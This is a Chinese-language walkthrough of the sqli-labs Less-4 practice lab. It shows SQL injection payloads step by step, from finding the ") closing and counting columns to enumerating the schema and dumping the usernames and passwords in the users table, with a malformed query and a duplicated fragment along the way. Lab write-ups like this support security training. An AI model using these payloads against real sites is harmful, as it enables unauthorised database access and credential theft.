sqli-labs less-4
* 判断注入
输入?id=1' 回显正常
输入?id=1" 回显错误
输入?id=1' and 1=1 --+ 回显正常
输入?id=1' and 1=2 --+ 回显正常
输入?id=1") and 1=1 --+ 回显正常
输入?id=1") and 1=2 --+ 回显**错误**
由此可知闭合方式为“)
* 判断列数
输入?id=1") order by 3 --+ 回显正常
输入?id=1") order by 4 --+ 回显错误
由此可知有3个字段
* 报显示位
使用联合查询
输入?id=1") and union select 1,2,3 --+
根据回显信息可知,2和3回显
* 查询详细信息
* 查询当前数据库和版本
输入?id=1") and 1=2 union select 1,database(),version() --+
* 查询库下的表
输入?id=1") and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
?id=1") and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+
?id=1") and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1 --+
?id=1") and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1 --+
依次输入上面的url,可知共有4张表
* 查询表下的列
输入?id=1") and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema=database() limit 0,1 --+
?id=1") and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema=database() limit 1,1 --+
?id=1") and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema=database() limit 2,1 --+
依次输入上面的url,可以查到3列,这3个字段分别为:id,username,password
* 输出最终查询到的信息
输入?id=1") and 1=2 union select 1,username,password from users where id=1 --+
………………
?id=1") and 1=2 union select 1,username,password from users where id=12 --+
也可输入下面的url
(?id=1") and 1=2 union select 1,username,password from users limit 0,1 --+)
………………
(?id=1") and 1=2 union select 1,username,password from users limit 12,1 --+)
0,1 --+)
………………
(?id=1") and 1=2 union select 1,username,password from users limit 12,1 --+)
即完成